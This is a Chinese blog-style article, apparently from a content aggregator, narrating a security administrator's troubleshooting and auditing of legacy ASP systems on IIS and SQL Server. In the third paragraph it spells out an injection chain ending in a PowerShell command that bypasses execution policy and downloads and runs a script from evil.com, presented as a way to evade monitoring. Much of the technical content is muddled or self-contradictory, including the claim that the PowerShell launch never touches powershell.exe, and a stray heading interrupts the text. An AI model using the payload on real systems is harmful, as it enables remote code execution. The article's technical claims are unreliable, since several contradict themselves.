ASP进阶实战：安全管理员的系统工程成长路

　　ASP进阶实战：安全管理员的系统工程成长路——两个月前，我用IIS 10.0+Windows Server 2022部署了某市卫健委内部ASP旧系统迁移验证环境，结果第三天凌晨2:17，W3SVC服务因COM+组件权限继承错乱自动停止，日志里只留一行Event ID 10016（Application Default User），连进程ID都对不上。这事儿没写在任何官方手册里，但我在补丁KB5034441安装后手动重置了“Distributed COM Users”组策略对象才压住——安全管理员不摸底层COM注册表键值、不查dcomcnfg里“Launch and Activation Permissions”的继承链，光看OWASP ASP Top 10清单？真不够。

　　那套ASP脚本里嵌着三个未声明的ADODB.Stream对象实例，其中第二个用了OpenTextFile时硬编码了C:\\Inetpub\\wwwroot\\config\\legacy\\pass.txt路径，而它在2023年11月已被某次.NET 6.0运行时升级偷偷替换为NTFS压缩属性——导致二进制读取偏移错位9字节。我抓包发现POST响应体末尾总多出“”字符，跟踪了17小时才定位到这个隐藏陷阱。客户说“ASP就是老古董”，可老古董不等于安全漏洞的温床，而是暴露了我们对Win32子系统权限模型理解太浅。

　　ASP进阶实战：安全管理员的系统工程成长路

文章配图，仅供参考

　　上个月12号，在某省政务云审计中，我复现了ASP+SQL Server 2016混合模式下xp_cmdshell绕过检测的链式利用：攻击者先通过Request.QueryString("id")注入触发错误消息泄露sysservers表结构，再用Response.Write调用CreateObject("WScript.Shell")启动PowerShell.exe -exec bypass -c "iex (New-Object Net.WebClient).DownloadString('http://evil.com/sh')"—整个过程不落地、无文件、且避开Sysmon 11.1的PowerShell模块加载监控，因为ASP解释器直接调用OLE32.dll的CoCreateInstance，根本没走powershell.exe主进程。这个技巧我在两份厂商安全白皮书里都没看到，他们还在讲"禁用eval()就行"。

　　优点在新技术

　　真正让我绷住的是那个ASP+Active Directory联合身份场景：客户要求用IIS AD FS代理+ASP_SessionID双因子会话绑定，结果测试发现Session_OnEnd事件触发时，IIS回收线程居然会异步释放ADSI对象导致LDAP连接池泄漏——我们监控到每分钟新建89个ldap://dc01.contoso.local:389连接，内存涨速23MB/h。临时方案是改写Global.asa，强制Session.Contents.Remove("userDN")前加DoEvents并Sleep(150)，但我知道这只是镇痛剂。两个月前写的这份材料，现在看还缺三处细节：一是Windows Event Log 4688子字段ProcessCommandLine对asp.dll启动参数的截断逻辑；二是IIS元数据库中MD_KEY_IIS_WAM_REDIRECT_PATH的权限继承优先级高于web.config；三是某个已知但未公开的MSXML 6.0 SP2解析缺陷，在处理带CDATA的SOAP响应时会让Response.BinaryWrite崩掉缓冲区头——这点连微软TAP团队去年9月内部报告都没标Priority。

　　我试过把这段代码塞进新编译的asp.dll里打热补丁……

　　失败了三次。最后一次蓝屏代码是IRQL_NOT_LESS_OR_EQUAL，Dump分析指向nt!MiFlushSection —— 看来得先啃完Windows Driver Kit里的MMSECTION文档，再碰这个事。下次动手前，得去翻2021年3月那份被撤回的CVE-2021-26414后续勘误表。

（编辑：均轻资讯网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!